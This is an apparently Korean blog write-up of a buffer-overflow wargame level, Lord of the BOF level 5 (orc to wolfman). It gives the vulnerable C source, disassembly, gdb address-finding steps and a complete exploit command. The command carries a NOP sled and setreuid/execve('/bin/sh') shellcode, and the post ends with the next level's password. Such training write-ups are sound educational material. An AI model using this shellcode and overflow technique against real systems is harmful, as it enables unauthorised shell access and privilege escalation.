thumbnail
cd ..
root@blog:~/posts/ 202210

FTZ LOB LEVEL 5

#KOR#pwn
2022.10.15.

0. 들어가기 전에

이번 문제도 저번 문제와 크게 다르지 않았다.

1. Level 5 : Orc -> Wolfman

소스코드를 확인해 보자!

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

어셈블리 코드도 확인해보자!

0x8048500 <main>:       push   %ebp
0x8048501 <main+1>:     mov    %ebp,%esp
0x8048503 <main+3>:     sub    %esp,44
0x8048506 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:    jg     0x8048523 <main+35>
0x804850c <main+12>:    push   0x8048640
0x8048511 <main+17>:    call   0x8048410 <printf>
0x8048516 <main+22>:    add    %esp,4
0x8048519 <main+25>:    push   0
0x804851b <main+27>:    call   0x8048420 <exit>
0x8048520 <main+32>:    add    %esp,4
0x8048523 <main+35>:    nop
0x8048524 <main+36>:    mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:    nop
0x804852c <main+44>:    lea    %esi,[%esi*1]
0x8048530 <main+48>:    mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:    lea    %edx,[%eax*4]
0x804853a <main+58>:    mov    %eax,%ds:0x8049760
0x804853f <main+63>:    cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:    jne    0x8048547 <main+71>
0x8048545 <main+69>:    jmp    0x8048587 <main+135>
0x8048547 <main+71>:    mov    %eax,DWORD PTR [%ebp-44]

사실 밑에 buffer hunter라는 녀석이 생긴 것 말고는 달라진 점은 없다. 우리는 어차피 NOP SLED 방식을 활용하므로 buffer hunter로 초기화해도 프로그램 실행 흐름상 버퍼오버플로우를 발생시키는 것에 무리는 없다.

저번 문제와 똑같이 카피코드를 gdb로 디버깅해서 주소를 찾았다.

b * main

r `python -c "print 'A'*44+'\xbf\xbf\xbf\xbf'` `python -c "print '\x90'*200+"B"*40'`

//대략적인 주소
0xbffffc3c

익스플로잇 :

./wolfman `python -c "print 'A'*44 + '\x3c\xfc\xff\xbf'"` `python -c "print '\x90' * 200 + '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"`

비밀번호 : love eyuna


Source

[ comments ]